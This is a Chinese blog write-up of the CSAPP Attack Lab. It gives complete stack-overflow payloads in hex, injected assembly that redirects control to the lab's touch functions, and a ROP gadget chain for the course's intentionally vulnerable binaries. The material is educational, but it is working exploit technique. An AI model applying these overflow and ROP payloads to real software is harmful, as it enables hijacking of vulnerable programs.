【深入理解计算机系统】CSAPP

您所在的位置:网站首页 linux实验三 【深入理解计算机系统】CSAPP

【深入理解计算机系统】CSAPP

2024-07-15 20:34| 来源: 网络整理| 查看: 265

前言

本章要求我们实践使用code-injection和return-oriented programming来模拟对程序进行攻击。实验过程增加了对调试工具gdb的使用熟练度,也进一步理解了程序不安全带来的问题。

本机使用win10 +wsl2.0 + ubuntu18.04完成实验。

点击查看我的全部代码

另外,记得查看README 以及 WRITEUP以看实验要求。

reference

CSAPP LAB

深入理解计算机系统(3)——attack lab

CSAPP:Attack lab

用到的命令行 反编译

sudo objdump -d ./rtarget > dump.s

运行程序 转换后直接运行

cat exploit.txt | ./hex2raw | ./ctarget -q

先转换

./hex2raw < exploit.txt > exploit-raw.txt

再运行

./ctarget -i exploit-raw.txt

(gdb) run < exploit-raw.txt -q

code-injection部分

代码注入。

Phase_1

查看Writeup可以看到任务。

原本:test函数调用,调用返回之后,再返回test。

任务:在中输入过多的char,导致栈溢出,修改getbuf的返回地址,导致不跳回test,而是直接跳到touch1。

其中:

func test 1 void test() 2 { 3 int val; 4 val = getbuf(); 5 printf("No exploit. Getbuf returned 0x%x\n", val); 6 } func touch1 1 void touch1() 2 { 3 vlevel = 1; /* Part of validation protocol */ 4 printf("Touch1!: You called touch1()\n"); 5 validate(1); 6 exit(0); 7 } func getbuf 00000000004017a8 : 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 //Gets不会去理会输入大小,会一直读 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop

做之前我们需要回答一些基本问题:

getbuf()读取的字节,存储在了哪个地方?被修改的返回地址究竟是test函数的返回地址,还是getbuf的返回地址?Gets读取完毕之后,究竟下一条命令执行的是什么?

回答如下:

存在了getbuf()里的栈帧。Gets()里面没有申请新的栈空间。getbuf,也就是getbuf结束后不再返回到test,而是直接返回到touch1。从物理上来说,CALL 指令将其返回地址压入堆栈,再把被调用过程的地址复制到程序计数器PC。当过程准备返回时,它的 RET 指令从堆栈把返回地址弹回到程序计数器PC。getbuf调用Gets()进行读取的时候,会把getbuf的返回地址修改掉。

在这里插入图片描述 3. 是:getchar中的4017b4: b8 01 00 00 00 mov $0x1,%eax。要分清楚的是,目前pc指向的指令,与栈顶指向的指令,是没有必然关系的。所以这个0x4017b4的指令不在栈中,不要弄混了。

所以栈大小是0x28(看清楚是十六进制) = 40 bytes

而函数touch1的地址是:00000000 004017c0

调整一下字节序(大部分电脑都是little-endian字节序)。

答案 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00 Phase_2

任务和Phase_1是一样的。只是这次被返回的是touch2。

并且需要传参。

touch2 00000000004017ec 1 void touch2(unsigned val) 2 { 3 vlevel = 2; /* Part of validation protocol */ 4 if (val == cookie) { 5 printf("Touch2!: You called touch2(0x%.8x)\n", val); 6 validate(2); 7 } else { 8 printf("Misfire: You called touch2(0x%.8x)\n", val); 9 fail(2); 10 } 11 exit(0); 12 }

可以知道,传入的参数值为cookie值。我这里为0x59b997fa

分析 通常我们调用一个函数会直接使用jmp,但writeup中给了建议说:不要用jmp,因为目标地址通常难以制定,而用ret。所以我们就仍然需要修改返回地址,然后通过ret指令来跳转到touch2。通常我们传参的第一个参数存在了寄存器%rdi当中,所以跳转之前需要把%rdi赋值为0x59b997fa。也就说我们要写额外的语句去完成这个事情。也就是需要代码注入了。

明白了以上的需要,我们开始设计输入:

getbuf需要return到注入代码块的开头。这里无所谓是多少,贪图方便的话,直接设置为当前的rsp地址。也就是一开始输入的值。注入代码块内需要完成以下工作: 赋值参数%rdi把touch2的代码push到栈顶ret指令 (pc看到return会查看栈顶的地址,从而跳转到那里) 代码块

inject.s

movq $0x59b997fa,%rdi //cookie值 pushq $0x4017ec //touch2的地址 ret

然后输入

gcc -c inject.s 和 objdump -d inject.o > inject.d

inject.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 : 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 pushq $0x4017ec c: c3 retq

便可以得到了代码块的机器码。

rsp地址

gdb打断点查看即可。

(gdb) p /x $rsp $1 = 0x5561dc78 答案 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 Phase_3

任务基本同2,只是这次传参不是传十六进制立即数,而是传入string。

touch3和hexmatch 1 /* Compare string to hex represention of unsigned value */ 2 int hexmatch(unsigned val, char *sval) 3 { 4 char cbuf[110]; 5 /* Make position of check string unpredictable */ 6 char *s = cbuf + random() % 100; 7 sprintf(s, "%.8x", val); 8 return strncmp(sval, s, 9) == 0; 9 } 10 11 void touch3(char *sval) 12 { 13 vlevel = 3; /* Part of validation protocol */ 14 if (hexmatch(cookie, sval)) { 15 printf("Touch3!: You called touch3(\"%s\")\n", sval); 16 validate(3); 17 } else { 18 printf("Misfire: You called touch3(\"%s\")\n", sval); 19 fail(3); 20 } 21 exit(0); 22 } Some Advice:

在C语言中字符串是以\0结尾,所以在字符串序列的结尾是一个字节0

man ascii 可以用来查看每个字符的16进制表示

当调用hexmatch和strncmp时,他们会把数据压入到栈中,有可能会覆盖getbuf栈帧的数据,所以传进去字符串的位置必须小心谨慎。

分析

很相似,所以很简单。

一样需要修改getbuf的return地址,指向到我们的注入代码块。注入代码块同样需要做:movl赋值到rdi,push touch3的地址到栈顶,ret跳转到touch3.需要另外考虑的只是:rdi只会拿到字符串数组的头指针,字符串应该存在哪里呢?可以存到main,也可以存到test。 cookie to asciiHex

59b997fa

查表

35 39 62 39 39 37 66 61

存储数组

我们直接存在test的栈内,也就是:0x5561dc78 (这个是getbuf的栈顶)- 0x30 (由phase_2可知,一共输入48个bytes就可以到达test栈),当然也可以多加一些。

0x5561dc78 + 0x30 =0x5561dca8

机器码

操作同phase_2,不赘述了。查看touch3的地址:00000000004018fa

/* inject.s */ movq $0x5561dca8,%rdi pushq $0x4018fa ret /* inject.o -> inject.d */ inject.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 : 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi 7: 68 fa 18 40 00 pushq $0x4018fa c: c3 retq 答案 48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 Return-Oriented Programming部分

ROP攻击。在ROP攻击中,因为栈上限制了不可插入可执行代码,所以不能像上述第二、第三阶段中插入代码。所以我们需要在已经存在的程序中找到特定的指令序列,并且这些指令是以ret结尾,利用它们进行攻击。这一段指令序列,我们称之为gadget。

缓冲区溢出攻击的普遍发生给计算机系统造成了许多麻烦。现代的编译器和操作系统实现了许多机制,以避免遭受这样的攻击,限制入侵者通过缓冲区溢出攻击获得系统控制的方式。

栈随机化

栈随机化的思想使得栈的位置在程序每次运行时都有变化。因此,即使许多机器都运行同样的代码,它们的栈地址都是不同的。上述3个阶段中,栈的地址是固定的,所以我们可以获取到栈的地址,并跳转到栈的指定位置。

栈破坏检测

最近的GCC版本在产生的代码加入了一种栈保护者机制,来检测缓冲区越界。其思想是在栈帧中任何局部缓冲区和栈状态之间存储一个特殊的金丝雀值。在恢复寄存器状态和从函数返回之前,程序检查这个金丝雀值是否被该函数的某个操作或者该函数调用的某个操作改变了。如果是的,那么程序异常中止。

限制可执行代码区域

最后一招是消除攻击者向系统中插入可执行代码的能力。一种方法是限制哪些内存区域能够存放可执行代码。

这里的ROP实验我认为是没有加入金丝雀的。但栈随机化和限制可执行代码区域都可以有。

解释一下这张ROP经典图:

在这里插入图片描述

在一个栈中,如果每行存的地址指向的命令都含有一个ret语句,那么程序控制流就会从栈顶一直往上交。

举一个例子:

现在程序流交给了栈顶指向的Gadget 1 code,当它执行完自己内部的指令序之后,执行c3(return),这时控制流就会查看栈顶指令地址(此时栈顶是%rsp + 0x8),并把控制交给它,而它恰好是Gadget 2。

Phase_4

使用ROP的方式,而不是代码注入的方式,完成Phase_2的任务。

PHASE 2 代码块 movq $0x59b997fa,%rdi //cookie值 pushq $0x4017ec //touch2的地址 ret PHASE 4 代码块

因为我们不能写代码,也就不能使用立即数的方式对rdi赋值了,可以借用某个寄存器进行赋值。

在这里插入图片描述

看看能不能找到相应的地址,

touch2: 自己输入 cookie: 自己输入 popq %rdi: 5f

反编译rtarget后找一下

sudo objdump -d ./rtarget > dump.s. //也可以先在farm中找 gcc -c farm.c -Og sudo objdump -d ./rtarget > dump.s

没能找到。但是我们找到了popq %rax和movq %rax %rdi

所以我们要改换策略,用一个中间寄存器去完成rdi任务。这里就不再画图了,但和图是一个意思。

test栈底 touch2 movq %rax %rdi ret : 48 89 c7 c3 cookie popq %rax ret : 58 c3 test栈顶 popq %rax 00000000004019a7 : 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 retq

地址为 0x4019ab

movq %rax %rdi 00000000004019ae : 4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi) 4019b4: c3 retq 00000000004019a0 : 4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax 4019a6: c3

地址为0x4019b0 或 0x4019a2

这里我测试过只能用 0x4019a2 ,另一个是错误的。难道是因为c7和c3的区别吗。待解决。

答案 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 a2 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00

writeup也指导说Phase_6可以不做,这里就不做了。

后话

这个实验仍然对应书本的第三章。我认为是一个很有趣的实验。

学MIT6.828的时候发现对汇编要求很高,现在做CSAPP lab也发现对汇编有不低的要求。所以看情况可能会补一下汇编。

欢迎留言交流。



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3